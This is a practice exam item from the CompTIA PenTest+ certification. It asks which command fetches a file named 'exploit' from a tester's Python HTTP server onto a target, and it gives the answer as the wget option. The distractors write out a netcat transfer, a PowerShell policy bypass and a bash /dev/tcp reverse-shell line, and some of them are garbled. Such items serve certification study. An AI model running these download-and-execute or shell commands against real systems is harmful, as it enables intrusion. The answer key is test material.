CompTIA PenTest+ PT0-002 – Question008

A penetration tester ran the following command on a staging server:
python -m SimpleHTTPServer 9891
Which of the following commands could be used to download a file named exploit to a target machine for execution?

A.
nc 10.10.51.50 9891 < exploit
B. powershell -exec bypass -f \10.10.51.509891
C. bash -i >& /dev/tcp/10.10.51.50/9891 0&1/exploit
D. wget 10.10.51.50:9891/exploit

Correct Answer: D